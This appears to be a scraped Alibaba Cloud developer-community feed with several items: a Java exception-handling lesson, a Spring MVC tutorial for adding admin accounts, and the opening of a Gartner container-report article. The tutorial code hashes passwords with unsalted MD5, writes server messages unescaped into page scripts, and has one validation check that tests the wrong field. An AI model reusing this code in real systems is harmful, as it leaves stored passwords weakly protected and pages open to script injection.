    覆盖了云计算、大数据、人工智能、IoT、云原生、数据库、微服务、安全、开发与运维9大技术领域。在这里你可以:
    系统性学习技术干货 —— 学习中心
    开发者一站式学习平台,涵盖云计算、大数据、人工智能、IoT、编程语言等领域,快速提升开发技能。

    刷题进阶 —— 在线编程
    针对广大开发者学习、实践、面试、应聘、考试认证等打造的免费在线刷题神器。

    探寻优质工具助力开发 —— 开发者工具
    打造围绕开发者全生命周期的工具产品。

    解决技术难题 —— 问答
    汇集知识碎片,解决技术难题。

    评估自身能力 —— 技能测试中心
    参与在线IT技能测试,快速了解自身知识与技能水平,为您的职业发展与学习指明方向。

    参与云共创 —— 开发者云体验平台
    开发者云co-founder火热招募中,定制周边等你拿。

    参加workshop、meetup、沙龙等活动 —— ACE同城会
    ACE 是遍布在全国的开发者社群,作为国内优秀的开发者圈子,为所有开发者提供学习、交流的机会和平台。

    实现职业进阶 —— 阿里云MVP
    阿里云最有价值专家,简称 MVP(Most Valuable Professional),是全球各行业数字化转型的技术实践领袖。目前,全球已有近500位云计算专家和技术先 行者成为阿里云MVP。

    阿里云开发者社区钉钉群

    钉钉群是社区为每位开发者提供的一个学术交流平台,在这里你可以享受到面向社区用户首发的独家技术干货、群内不定期的技术大咖直播以及各种活动福利~
    快速进群

    【独家福利】社区技术干货大礼包(持续更新中。。。)

    Java 干货合集:
    学精 Java,晋升不愁 - Java 技术圈
    【名师课堂】Java零基础入门
    Java精品公开课合集
    Python 干货合集:
    Python 礼包:3大阶段,30+教程,超全年度礼包大放送 
    【精品问答】Python实战100例 - 附源码
    顶级技术精华·电子书合集:
    千份阿里技术学习资源免费送!热门新书持续更新中...
    《高德技术2019年刊合辑》
    面试干货合集:
    面试资料库:面试真题讲解 大咖经验输出
    【精品问答】110+数据挖掘面试题集合

    【重磅】社区伙伴共创

    阿里云开发者社区针对年轻的开发者推出两大计划【少侠计划】和【志愿者计划】,在这里你们能够影响阿里云的产品路线、社区的产品迭代规划、社区的运营策略,以获得个人成长与事业的成功。同时我们将从技术支持、资源支持等方面,助力年轻开发者提升技术能力和业内的影响力,成为领域专家。
    参与我们的项目还能获得各种福利:云栖大会门票、阿里工作内推、近距离和阿里云 MVP 及技术专家对话等特殊福利。

    1. 阿里云开发者社区【少侠计划】

    欢迎各位开发者加入该计划,在这里社区会协同大家一起打磨产品,不仅仅是开发者社区这个产品,还将有非常多的阿里云和阿里巴巴面向开发者群体推出的产品,甚至也有很多不对外的内测项目,完成之后还能收获丰富奖品。
    满足下面条件即可申请加入
    1.计算机或软件方向的3年以内的从业者或者是在校的学生。
    2.喜欢参加钻研技术,热爱挑战。
    加入方式

    • 钉钉扫码添加少侠小二,即可申请加入。
    • 已经进入社区钉群的少侠,直接搜索【周莎贝尔】,即可申请加入。(加好友时请备注“少侠”~~)

    test

    了解更多详情

    2. 阿里云开发者社区【志愿者计划】

    志愿者是阿里云开发者社区的重要合作伙伴,可以和我们一起为社区增加有质量的干货内容、帮助社区中的其他同学以及近距离和阿里巴巴的运营、技术同学一起工作。有的志愿者任务需要一定的技术基础,有的则不需要,请大家根据自己的技术背景情况进行选择。
    加入方式

    • 钉钉扫码添加志愿者同学,即可申请加入。
    • 已经进入社区钉群的开发者,直接搜索【周莎贝尔】,即可申请加入。(加好友时请备注“志愿者”)参加两个项目统一联系【周莎贝尔】。

    test

    有任何问题,欢迎钉钉联系【周莎贝尔】。

    ]]>
    【Java七天学习训练营】Day5 Fri, 02 May 2025 09:39:04 +0800 泰山版Java开发手册

    《Java开发手册》始于阿里内部规约,在全球 Java 开发者共同努力下,已成为业界普遍遵循的开发规范。今年是手册上线第四年,推出全新泰山版免费下载,涵盖三大更新亮点,直接下载一睹为快:专题页链接

    Java七天学习训练营Day5

    Java七天学习训练营是由泰山版《Java开发手册》的作者亲自出题,每天学习一个知识点,写一份小作业,帮助你不仅是阅读,更能透彻理解泰山版《Java开发手册》的重要知识。

    完成七天打卡挑战的少侠即有机会获得精美的阿里云开发者社区周边礼品,包含阿里云ET公仔、超大社区鼠标垫、卫衣、背包等等。

    奖品说明:
    同学们获取奖品的顺序,以阿里妹收到同学完成打卡后填写的表单序号为主。

    第1名和第100、200、300等100的倍数打卡的同学送一个阿里云ET公仔(限量10个)
    第10、20、30名等10的倍数打卡的同学送一张超大鼠标垫(限量50个)
    第6名、第66名、第666名(以此类推)打卡同学送一个阿里云双肩包
    第8名、第88名、第888名(以此类推)打卡的同学送一件阿里云定制卫衣
    除此之外,打卡完成编号是质数的同学可以获得一份笔记本+贴纸的纪念品(限量30份)

    (部分奖品展示)

    公仔.jpg

    阿里云ET公仔

    152.png

    超大开发者社区鼠标垫

    背包.JPG

    阿里云定制双肩包

    今日学习内容:异常处理

    阅读前需了解:
    1.每日学习的知识点都节选自泰山版《Java开发手册》,如想完整阅读电子书的所有内容,请到专题页下载。
    2.根据约束力强弱,规约依次分为强制、推荐、参考三大类:
    【强制】必须遵守。是不得不遵守的约定,违反本约定或将会引起严重的后果。
    【推荐】尽量遵守。长期遵守这样的规定,有助于系统稳定性和合作效率的提升。
    【参考】充分理解。技术意识的引导,是个人学习、团队沟通、项目合作的方向。

    1. 【强制】Java 类库中定义的可以通过预检查方式规避的RuntimeException异常不应该通过catch 的方式来处理,比如:NullPointerException,IndexOutOfBoundsException等等。
    说明:无法通过预检查的异常除外,比如,在解析字符串形式的数字时,可能数字格式错误,不得不通过catch NumberFormatException来实现。
    正例:if (obj != null) {...}
    反例:try { obj.method() } catch (NullPointerException e) {…}

    2. 【强制】异常不要用来做流程控制,条件控制。
    说明:异常设计的初衷是解决程序运行中的各种意外情况,且异常的处理效率比条件判断方式要低很多。

    3. 【强制】catch时请分清稳定代码和非稳定代码,稳定代码指的是无论如何不会出错的代码。对于非稳定代码的catch尽可能进行区分异常类型,再做对应的异常处理。

    说明:对大段代码进行try-catch,使程序无法根据不同的异常做出正确的应激反应,也不利于定位问题,这是一种不负责任的表现。

    正例:用户注册的场景中,如果用户输入非法字符,或用户名称已存在,或输入密码过于简单,在程序上作出分门别类的判断,并提示给用户。

    4. 【强制】捕获异常是为了处理它,不要捕获了却什么都不处理而抛弃之,如果不想处理它,请将该异常抛给它的调用者。最外层的业务使用者,必须处理异常,将其转化为用户可以理解的内容。

    5. 【强制】事务场景中,抛出异常被catch后,如果需要回滚,一定要手动回滚事务。

    6. 【强制】finally块必须对资源对象、流对象进行关闭,有异常也要做try-catch。
    说明:如果JDK7,可以使用try-with-resources方式。

    7. 【强制】不要在finally块中使用return。
    说明:try块中的return语句执行成功后,并不马上返回,而是继续执行finally块中的语句,如果此处存在return语句,则在此直接返回,无情丢弃掉try块中的返回点。
    反例:

    private int x = 0;
    public int checkReturn() {
        try {
            // x等于1,此处不返回
            return ++x;
        } finally {
            // 返回的结果是2
            return ++x;
        }
    }
    

    8. 【强制】捕获异常与抛异常,必须是完全匹配,或者捕获异常是抛异常的父类。
    说明:如果预期对方抛的是绣球,实际接到的是铅球,就会产生意外情况。

    9. 【强制】在调用RPC、二方包、或动态生成类的相关方法时,捕捉异常必须使用Throwable类来进行拦截。

    说明:通过反射机制来调用方法,如果找不到方法,抛出NoSuchMethodException。什么情况会抛出NoSuchMethodError呢?二方包在类冲突时,仲裁机制可能导致引入非预期的版本使类的方法签名不匹配,或者在字节码修改框架(比如:ASM)动态创建或修改类时,修改了相应的方法签名。这些情况,即使代码编译期是正确的,但在代码运行期时,会抛出NoSuchMethodError。

    反例:某平台在退票费计算错误的故障中,由于fastvalidator引入了高版本的spring,导致运行到某段核心逻辑时,抛出NoSuchMethodError错误,catch的却是Exception,堆栈向上抛,影响到上层业务。这是一个非核心功能点影响到核心应用的典型反例。

    10. 【推荐】方法的返回值可以为null,不强制返回空集合,或者空对象等,必须添加注释充分说明什么情况下会返回null值。

    说明:本规约明确防止NPE是调用者的责任。即使被调用方法返回空集合或者空对象,对调用者来说,也并非高枕无忧,必须考虑到远程调用失败,运行时异常等场景返回null的情况。

    今日作业

    关于故障,以下说法正确的是哪项?其他说法错在哪里?

    a)在日常运营中,无论什么原因导致我们服务中断、服务品质下降或用户服务体验下降的现象,称为故障,但不包括用户方环境或自身操作引起的问题

    b)故障处理中一定要先优先止血

    c)故障处理中处理人知道处理进展,没时间同步相关方可以不同步

    d)故障actions只要完成就可以,是否验收不通过处理人不需要关心

    同学们请把作业写在评论区里,如果出现了优秀作业,将再给该同学送出额外的礼品!明天的打卡页将公布答案。

    上期答案

    (4.27日公布)

    点击下方图片回到Java开发手册专题页

    按钮.jpg

    ]]>
    Java单体应用 - 项目实战(后台) - 03.后台账户管理 - 03.新增账户 Fri, 02 May 2025 09:39:04 +0800 原文地址:http://www.work100.net/training/monolithic-project-iot-cloud-admin-manager-add.html
    更多教程:光束云 - 免费课程

    新增账户

    序号 文内章节 视频
    1 概述 -
    2 后端代码实现 -
    3 前端页面实现 -
    4 测试验证 -
    5 使用表单标签库 -
    6 使用表单验证 -
    7 实例源码 -

    请参照如上章节导航进行阅读

    1.概述

    本节实现 新增账户 功能,页面效果如下:

    新增账户

    2.后端代码实现

    为了降低耦合度,建议大家将新增编辑查看功能分开编码,不要混在一个方法中。

    我们现在演示的功能相对比较简单,但真正开展业务时功能会变得很复杂,如果代码混在一起,那么代码的复杂度也将成倍增长。

    接下来,我们来逐步重构 ManagerController 类。

    GET 方法

    @RequestMapping(value = "add", method = RequestMethod.GET)
    public String add() {
        return "auth/manager_add";
    }

    POST 方法

    @RequestMapping(value = "add", method = RequestMethod.POST)
    public String add(AuthManager authManager, Model model, RedirectAttributes redirectAttributes) {
        // 表单验证
        if (StringUtils.isBlank(authManager.getUserName())) {
            model.addAttribute("baseResult", BaseResult.fail("用户名不能空"));
            model.addAttribute("authManager", authManager);
            return "auth/manager_add";
        }
        if (authManager.getUserName().length() < 4 || authManager.getUserName().length() > 20) {
            model.addAttribute("baseResult", BaseResult.fail("用户名不能小于4位且不能大于20位"));
            model.addAttribute("authManager", authManager);
            return "auth/manager_add";
        }
        if (StringUtils.isBlank(authManager.getPassword())) {
            model.addAttribute("baseResult", BaseResult.fail("密码不能空且不能少于"));
            model.addAttribute("authManager", authManager);
            return "auth/manager_add";
        }
        if (authManager.getPassword().length() < 6 || authManager.getUserName().length() > 20) {
            model.addAttribute("baseResult", BaseResult.fail("密码不能小于6个位且不能大于20位"));
            model.addAttribute("authManager", authManager);
            return "auth/manager_add";
        }
        if (StringUtils.isBlank(authManager.getRoles())) {
            model.addAttribute("baseResult", BaseResult.fail("角色不能空"));
            model.addAttribute("authManager", authManager);
            return "auth/manager_add";
        }
    
        // 新增处理
        BaseResult baseResult = authManagerService.insert(authManager);
        if (baseResult.getStatus() == HttpUtils.HTTP_STATUS_CODE_OK) {
            redirectAttributes.addFlashAttribute("baseResult", baseResult);
            return "redirect:/auth/manager/list";
        } else {
            model.addAttribute("baseResult", baseResult);
            return "auth/manager_add";
        }
    }

    说明

    • 后端一定要对前端提交数据进行合法性验证,以便确保数据安全
    • 方法中使用了 BaseResultHttpUtils 两个类,下面将分别进行介绍

    BaseResult 类

    为了将操作结果更方便的传递给前端页面,我们引入一个通用的 BaseResult 类,代码如下:

    package net.work100.training.stage2.iot.cloud.commons.dto;
    
    import net.work100.training.stage2.iot.cloud.commons.utils.HttpUtils;
    
    import java.io.Serializable;
    
    /**
     * <p>Title: BaseResult</p>
     * <p>Description: </p>
     *
     * @author liuxiaojun
     * @date 2020-03-04 11:02
     * ------------------- History -------------------
     * <date>      <author>       <desc>
     * 2020-03-04   liuxiaojun     初始创建
     * -----------------------------------------------
     */
    public class BaseResult implements Serializable {
        private int status;
        private String message;
    
    
        public static BaseResult success() {
            return createResult(HttpUtils.HTTP_STATUS_CODE_OK, "成功");
        }
    
        public static BaseResult success(String message) {
            return createResult(HttpUtils.HTTP_STATUS_CODE_OK, message);
        }
    
        public static BaseResult fail() {
            return createResult(HttpUtils.HTTP_STATUS_CODE_INTERNAL_SERVER_ERROR, "失败");
        }
    
        public static BaseResult fail(String message) {
            return createResult(HttpUtils.HTTP_STATUS_CODE_INTERNAL_SERVER_ERROR, message);
        }
    
        public static BaseResult fail(int status, String message) {
            return createResult(status, message);
        }
    
        public int getStatus() {
            return status;
        }
    
        public void setStatus(int status) {
            this.status = status;
        }
    
        public String getMessage() {
            return message;
        }
    
        public void setMessage(String message) {
            this.message = message;
        }
    
        private static BaseResult createResult(int status, String message) {
            BaseResult baseResult = new BaseResult();
            baseResult.setStatus(status);
            baseResult.setMessage(message);
            return baseResult;
        }
    }

    类文件位置在 iot-cloud-commons 项目下的 net.work100.training.stage2.iot.cloud.commons.dto 类包下。

    HttpUtils 类

    BaseResult 的返回状态码构造一个通用类 HttpUtils,代码如下:

    package net.work100.training.stage2.iot.cloud.commons.utils;
    
    /**
     * <p>Title: Http状态码</p>
     * <p>Description: </p>
     * <p>Url: http://www.work100.net/training/monolithic-project-iot-cloud-admin.html</p>
     *
     * @author liuxiaojun
     * @date 2019-07-14 20:51
     * ------------------- History -------------------
     * <date>      <author>       <desc>
     * 2019-07-14   liuxiaojun     初始创建
     * -----------------------------------------------
     */
    public class HttpUtils {
    
        public static final int HTTP_STATUS_CODE_CONTINUE = 100;
        public static final int HTTP_STATUS_CODE_SWITCHING_PROTOCOLS = 101;
        public static final int HTTP_STATUS_CODE_OK = 200;
        public static final int HTTP_STATUS_CODE_CREATED = 201;
        public static final int HTTP_STATUS_CODE_ACCEPTED = 202;
        public static final int HTTP_STATUS_CODE_NON_AUTHORITATIVE_INFORMATION = 203;
        public static final int HTTP_STATUS_CODE_NO_CONTENT = 204;
        public static final int HTTP_STATUS_CODE_RESET_CONTENT = 205;
        public static final int HTTP_STATUS_CODE_PARTIAL_CONTENT = 206;
        public static final int HTTP_STATUS_CODE_MULTIPLE_CHOICES = 300;
        public static final int HTTP_STATUS_CODE_MOVED_PERMANENTLY = 301;
        public static final int HTTP_STATUS_CODE_MOVED_TEMPORARILY = 302;
        public static final int HTTP_STATUS_CODE_FOUND = 302;
        public static final int HTTP_STATUS_CODE_SEE_OTHER = 303;
        public static final int HTTP_STATUS_CODE_NOT_MODIFIED = 304;
        public static final int HTTP_STATUS_CODE_USE_PROXY = 305;
        public static final int HTTP_STATUS_CODE_TEMPORARY_REDIRECT = 307;
        public static final int HTTP_STATUS_CODE_BAD_REQUEST = 400;
        public static final int HTTP_STATUS_CODE_UNAUTHORIZED = 401;
        public static final int HTTP_STATUS_CODE_PAYMENT_REQUIRED = 402;
        public static final int HTTP_STATUS_CODE_FORBIDDEN = 403;
        public static final int HTTP_STATUS_CODE_NOT_FOUND = 404;
        public static final int HTTP_STATUS_CODE_METHOD_NOT_ALLOWED = 405;
        public static final int HTTP_STATUS_CODE_NOT_ACCEPTABLE = 406;
        public static final int HTTP_STATUS_CODE_PROXY_AUTHENTICATION_REQUIRED = 407;
        public static final int HTTP_STATUS_CODE_REQUEST_TIMEOUT = 408;
        public static final int HTTP_STATUS_CODE_CONFLICT = 409;
        public static final int HTTP_STATUS_CODE_GONE = 410;
        public static final int HTTP_STATUS_CODE_LENGTH_REQUIRED = 411;
        public static final int HTTP_STATUS_CODE_PRECONDITION_FAILED = 412;
        public static final int HTTP_STATUS_CODE_REQUEST_ENTITY_TOO_LARGE = 413;
        public static final int HTTP_STATUS_CODE_REQUEST_URI_TOO_LONG = 414;
        public static final int HTTP_STATUS_CODE_UNSUPPORTED_MEDIA_TYPE = 415;
        public static final int HTTP_STATUS_CODE_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
        public static final int HTTP_STATUS_CODE_EXPECTATION_FAILED = 417;
        public static final int HTTP_STATUS_CODE_INTERNAL_SERVER_ERROR = 500;
        public static final int HTTP_STATUS_CODE_NOT_IMPLEMENTED = 501;
        public static final int HTTP_STATUS_CODE_BAD_GATEWAY = 502;
        public static final int HTTP_STATUS_CODE_SERVICE_UNAVAILABLE = 503;
        public static final int HTTP_STATUS_CODE_GATEWAY_TIMEOUT = 504;
        public static final int HTTP_STATUS_CODE_HTTP_VERSION_NOT_SUPPORTED = 505;
    }

    类文件位置在 iot-cloud-commons 项目下的 net.work100.training.stage2.iot.cloud.commons.utils 类包下。

    AuthManagerService 服务接口

    重构 AuthManagerService 服务接口的 insert 方法,代码如下:

    /**
     * 新增
     *
     * @param authManager
     * @return
     */
    BaseResult insert(AuthManager authManager);

    AuthManagerServiceImpl 服务实现

    重构 AuthManagerServiceImpl 服务实现的 insert 方法,代码如下:

    @Override
    public BaseResult insert(AuthManager authManager) {
        if (authManagerDao.getByUserName(authManager.getUserName()) != null) {
            return BaseResult.fail("用户名已经存在");
        }
        try {
            // 生成 userKey
            authManager.setUserKey(generateUserKey(authManager.getUserName()));
    
            // 密码加密
            authManager.setPassword(EncryptionUtils.encryptPassword(EncryptionUtils.EncryptionType.MD5, authManager.getPassword()));
            authManager.setCreated(new Date());
            authManager.setUpdated(new Date());
    
            authManagerDao.insert(authManager);
            return BaseResult.success("新增账户成功");
        } catch (Exception ex) {
            return BaseResult.fail("未知错误");
        }
    }

    新增 generateUserKey 方法,实现 userKey 的生成逻辑,代码如下:

    /**
     * 生成 userKey
     *
     * @param userName 用户名
     * @return
     */
    private String generateUserKey(String userName) {
        String strDate = DateFormatUtils.format(new Date(), "yyyy-MM-dd HH:mm:ss");
        String sourceUserKey = String.format("%s%s", userName.toLowerCase(), strDate);
        return EncryptionUtils.encryptText(EncryptionUtils.EncryptionType.MD5, sourceUserKey);
    }

    3.前端页面实现

    视图文件 manager_add.jsp

    views/auth/ 目录下增加一个 manager_add.jsp 视图文件,代码如下:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
    <!DOCTYPE html>
    <html>
    <head>
        <title>新增账户 - 后台账户 | IoT-Admin</title>
        <jsp:include page="../includes/resources_head.jsp" />
    </head>
    <body class="hold-transition sidebar-mini">
    <div class="wrapper">
    
        <jsp:include page="../includes/layout_header.jsp" />
    
        <jsp:include page="../includes/layout_left.jsp" />
    
        <!-- Content Wrapper. Contains page content -->
        <div class="content-wrapper">
            <!-- Content Header (Page header) -->
            <div class="content-header">
                <div class="container-fluid">
                    <div class="row mb-2">
                        <div class="col-sm-6">
                            <h1 class="m-0 text-dark">新增账户</h1>
                        </div><!-- /.col -->
                        <div class="col-sm-6">
                            <ol class="breadcrumb float-sm-right">
                                <li class="breadcrumb-item"><a href="#">后台账户</a></li>
                                <li class="breadcrumb-item active">新增账户</li>
                            </ol>
                        </div><!-- /.col -->
                    </div><!-- /.row -->
                </div><!-- /.container-fluid -->
            </div>
            <!-- /.content-header -->
    
            <!-- Main content -->
            <div class="content">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col">
                            <div class="card card-gray">
                                <!-- /.card-header -->
                                <!-- form start -->
                                <form action="/auth/manager/add" method="post">
                                    <div class="card-body">
                                        <div class="row">
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label for="userName">用户名</label>
                                                    <input type="text" class="form-control" id="userName" name="userName" placeholder="请输入用户名" value="${authManager.userName}">
                                                </div>
                                                <div class="form-group">
                                                    <label for="password">密码</label>
                                                    <input type="password" class="form-control" id="password" name="password" placeholder="请输入密码">
                                                </div>
                                                <div class="form-group">
                                                    <label for="status">状态</label>
                                                    <select class="form-control select2" style="width: 100%;" id="status" name="status">
                                                        <option value="0" selected="selected">未激活</option>
                                                        <option value="1">激活</option>
                                                        <option value="2">锁定</option>
                                                        <option value="3">删除</option>
                                                    </select>
                                                </div>
                                            </div>
                                            <div class="col-md-6">
                                                <div class="form-group">
                                                    <label for="roles">角色</label>
                                                    <select class="select2" id="roles" name="roles" multiple="multiple" data-placeholder="请选择角色" style="width: 100%;">
                                                        <option value="admin" ${authManager.roles.contains("admin")?"selected":""}>admin</option>
                                                        <option value="editor" ${authManager.roles.contains("editor")?"selected":""}>editor</option>
                                                    </select>
                                                </div>
                                                <div class="form-group">
                                                    <label for="superuser">是否超级用户</label>
                                                    <select class="form-control select2" id="superuser" name="superuser" style="width: 100%;">
                                                        <option value="0" selected="selected">否</option>
                                                        <option value="1">是</option>
                                                    </select>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <!-- /.card-body -->
    
                                    <div class="card-footer">
                                        <button type="submit" class="btn btn-primary">保存</button>
                                        <a href="/auth/manager/list" type="button" class="btn btn-default">返回列表</a>
                                    </div>
                                </form>
                            </div>
                            <!-- /.card -->
                        </div>
                    </div>
                </div>
                <!-- /.container-fluid -->
            </div>
            <!-- /.content -->
        </div>
        <!-- /.content-wrapper -->
    
        <jsp:include page="../includes/layout_footer.jsp" />
    </div>
    <!-- ./wrapper -->
    <jsp:include page="../includes/resources_body.jsp" />
    
    <script>
    $(function() {
        //Initialize Select2 Elements
        $('.select2').select2();
    
        //Initialize Select2 Elements
        $('.select2bs4').select2({
            theme: 'bootstrap4'
        });
    
        if (${baseResult.status != null && baseResult.status != 200}) {
            const Toast = Swal.mixin({
                toast: true,
                position: 'top',
                showConfirmButton: false,
                timer: 2000,
                timerProgressBar: true,
                onOpen: (toast) => {
                    toast.addEventListener('mouseenter', Swal.stopTimer)
                    toast.addEventListener('mouseleave', Swal.resumeTimer)
                }
            })
    
            Toast.fire({
                type: 'error',
                title: '${baseResult.message}'
            })
        }
    })
    </script>
    </body>
    </html>

    依赖脚本及控件

    文件末尾我们增加了一段 JS 脚本:

    如下代码是为了让 select 控件应用 Bootstrap4 样式:

    //Initialize Select2 Elements
    $('.select2').select2();
    
    //Initialize Select2 Elements
    $('.select2bs4').select2({
        theme: 'bootstrap4'
    });

    如下代码是为了将操作结果消息向用户更友好的展示出来:

    if (${baseResult.status != null && baseResult.status != 200}) {
        const Toast = Swal.mixin({
            toast: true,
            position: 'top',
            showConfirmButton: false,
            timer: 2000,
            timerProgressBar: true,
            onOpen: (toast) => {
                toast.addEventListener('mouseenter', Swal.stopTimer)
                toast.addEventListener('mouseleave', Swal.resumeTimer)
            }
        })
    
        Toast.fire({
            type: 'error',
            title: '${baseResult.message}'
        })
    }

    页面中用到的 select 控件和提示消息依赖了相关插件,其依赖插件的 CSSJS 分别在 resources_head.jsresources_body.js 中引入:

    resources_head.js 代码如下:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <!-- Font Awesome Icons -->
    <link rel="stylesheet" href="/static/assets/plugins/fontawesome-free/css/all.min.css">
    
    <!-- iCheck for checkboxes and radio inputs -->
    <link rel="stylesheet" href="/static/assets/plugins/icheck-bootstrap/icheck-bootstrap.min.css">
    
    <!-- Select2 -->
    <link rel="stylesheet" href="/static/assets/plugins/select2/css/select2.min.css">
    <link rel="stylesheet" href="/static/assets/plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
    
    <!-- SweetAlert2 -->
    <link rel="stylesheet" href="/static/assets/plugins/sweetalert2/sweetalert2.min.css">
    
    <!-- Theme style -->
    <link rel="stylesheet" href="/static/assets/css/adminlte.min.css">
    <link rel="icon" href="/static/assets/img/favicon.ico">

    resources_body.js 代码如下:

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <!-- REQUIRED SCRIPTS -->
    
    <!-- jQuery -->
    <script src="/media/20200419212256HLy.js"></script>
    <!-- Bootstrap -->
    <script src="/media/20200419212257mW4.js"></script>
    <!-- Select2 -->
    <script src="/media/20200419212300moe.js"></script>
    
    <!-- SweetAlert2 -->
    <script src="/media/20200419212301lQI.js"></script>
    
    <!-- AdminLTE -->
    <script src="/media/2020041921230106J.js"></script>

    视图文件 manager_list.jsp

    视图文件 manager_list.jsp 中在 body 末尾增加消息提示脚本:

    <script>
    $(function() {
        if (${baseResult.status != null && baseResult.status == 200}) {
            const Toast = Swal.mixin({
                toast: true,
                position: 'top',
                showConfirmButton: false,
                timer: 2000,
                timerProgressBar: true
            })
    
            Toast.fire({
                type: 'success',
                title: '${baseResult.message}'
            })
        }
    })
    </script>

    4.运行测试

    重启 Tomcat 测试 新增账户 功能,如下为数据验证失败时的提示效果:

    新增账户失败

    成功添加账户时,会转向列表页,并出现成功提示:

    新增账户成功

    5.使用表单标签库

    为了简化视图页面的编码,我们可以使用 「Spring MVC - 表单标签库」 章节所讲述的知识重构视图页面。

    引入 form 标签库

    manager_add.jsp 视图页面页头部分引入 form 标签库,代码如下:

    <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %>

    使用表单标签

    改造 form 表单,代码如下:

    <form:form action="/auth/manager/add" method="post" modelAttribute="authManager">
        <div class="card-body">
            <div class="row">
                <div class="col-md-6">
                    <div class="form-group">
                        <label for="userName">用户名</label>
                        <form:input path="userName" cssClass="form-control" placeholder="请输入用户名" />
                    </div>
                    <div class="form-group">
                        <label for="password">密码</label>
                        <form:password path="password" cssClass="form-control" placeholder="请输入密码" />
                    </div>
                    <div class="form-group">
                        <label for="status">状态</label>
                        <form:select path="status" cssClass="form-control select2" style="width: 100%;">
                            <option value="0" selected="selected">未激活</option>
                            <option value="1">激活</option>
                            <option value="2">锁定</option>
                            <option value="3">删除</option>
                        </form:select>
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="form-group">
                        <label for="roles">角色</label>
                        <form:select path="roles" cssClass="select2" multiple="multiple" data-placeholder="请选择角色" style="width: 100%;">
                            <option value="admin" ${authManager.roles.contains("admin")?"selected":""}>admin</option>
                            <option value="editor" ${authManager.roles.contains("editor")?"selected":""}>editor</option>
                        </form:select>
                    </div>
                    <div class="form-group">
                        <label for="superuser">是否超级用户</label>
                        <form:select path="superuser" cssClass="form-control select2" style="width: 100%;">
                            <option value="0" selected="selected">否</option>
                            <option value="1">是</option>
                        </form:select>
                    </div>
                </div>
            </div>
        </div>
        <!-- /.card-body -->
    
        <div class="card-footer">
            <button type="submit" class="btn btn-primary">保存</button>
            <a href="/auth/manager/list" type="button" class="btn btn-default">返回列表</a>
        </div>
    </form:form>

    改造后端代码

    改造 ManagerController 控制器中的 GET 方法

    @RequestMapping(value = "add", method = RequestMethod.GET)
    public String add(Model model) {
        AuthManager authManager = new AuthManager();
        model.addAttribute("authManager", authManager);
        return "auth/manager_add";
    }

    6.使用表单验证

    引入 jquery-validation

    includes/resources_body.jsp 文件中引入 jquery-validation 插件依赖,代码如下:

    <!-- jquery-validation -->
    <script src="/media/20200419212304gXU.js"></script>
    <script src="/media/20200419212305MEI.js"></script>
    <script src="/media/20200419212309VOY.js"></script>

    定义表单 id

    定义表单的 id ,代码如下:

    <form:form action="/auth/manager/add" id="form" method="post" modelAttribute="authManager">

    实现验证脚本

    在视图页 manager_add.jsp 文件中 body 结尾处的脚本内,增加如下代码:

    $("#form").validate({
        rules: {
            userName: {
                required: true,
                minlength: 4,
                maxlength: 20
            },
            password: {
                required: true,
                minlength: 6,
                maxlength: 20
            },
            roles: {
                required: true,
                minlength: 1,
                maxlength: 3
            }
        },
        messages: {
            userName: {
                required: " 请输入用户名",
                minlength: " 用户名不能小于4位",
                maxlength: " 用户名不能大于于20位"
            },
            password: {
                required: " 请输入密码",
                minlength: " 密码不能小于6位",
                maxlength: " 密码不能大于于20位"
            },
            roles: {
                required: " 请选择角色",
                minlength: " 至少选择1个角色",
                maxlength: " 至多选择3个角色"
            }
        },
        errorElement: 'span',
        errorPlacement: function(error, element) {
            error.addClass('invalid-feedback');
            element.closest('.form-group').children('label').append(error);
        },
        highlight: function(element, errorClass, validClass) {
            $(element).addClass('is-invalid');
        },
        unhighlight: function(element, errorClass, validClass) {
            $(element).removeClass('is-invalid');
        }
    });

    表单验证效果如下:

    表单验证

    7.实例源码

    实例源码已经托管到如下地址:


    上一篇:账户列表展示

    下一篇:编辑账户


    如果对课程内容感兴趣,可以扫码关注我们的 公众号QQ群,及时关注我们的课程更新

    公众号
    QQ交流群

    ]]>
    拿下 Gartner 容器产品第一,阿里云打赢云原生关键一战! Fri, 02 May 2025 09:39:04 +0800 头图.png

    作者 | 易立(阿里云容器服务研发总监)、伍杏玲

    导读:近日,Gartner 发布 2020 年公共云容器报告。据报告显示,阿里云和 AWS 拥有最丰富的产品布局,覆盖 9 项产品能力,并列排名第一。具体详情可查看:《Gartner 容器报告:阿里云与 AWS 并列第一,领先微软、谷歌》

    据 Gartner 分析师评论,阿里云拥有丰富的容器产品形态,在中国市场表现强劲,在 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等 9 个产品领域具备良好的技术发展策略。

    阿里云已连续两年成为唯一入选的中国企业,如今阿里云容器在全球 19 个公共云可用区开服,服务规模增速连续多年超 400%,支撑上万个集群、拥有数百万容器。

    所谓十年磨一剑,作为国内最早布局容器技术的公司之一的阿里云,其背后是怎样的技术演进历程?对此,笔者连线专访阿里云容器服务研发总监易立,揭秘阿里云在云计算时代容器技术的发展路径,剖析行业发展新趋势。

    1.png

    易立,阿里云容器服务研发总监

    起底阿里云容器的技术演进历程

    如今阿里云容器的表现亮眼,但其背后是阿里十年来的投入与历练:

    • 早在 2011 年,Docker 技术尚未出现之际,阿里内部已开始大规模应用容器技术;
    • 2015 年 12 月,阿里云正式对外提供容器服务;
    • 2016 年,阿里在双十一的核心业务链路完全实现容器化,容器技术支撑起来双十一的整体交易系统,交易峰值达每秒 17.5 万笔;
    • 2017 年10月,容器服务 ACK(Alibaba Cloud Container Service for Kubernetes)1.0正式发布,是全球首批通过 Kubernetes 一致性认证的产品;
    • 2019 年 3 月,阿里云成为国内唯一入选 Gartner 公共云容器服务报告的企业;
    • 2019 年 9 月,ACK2.0 全面升级,包含安全沙箱、边缘计算、混合云等系列重要的产品能力,发布阿里云云市场合作伙伴计划。

     “容器掀起云原生的变革”

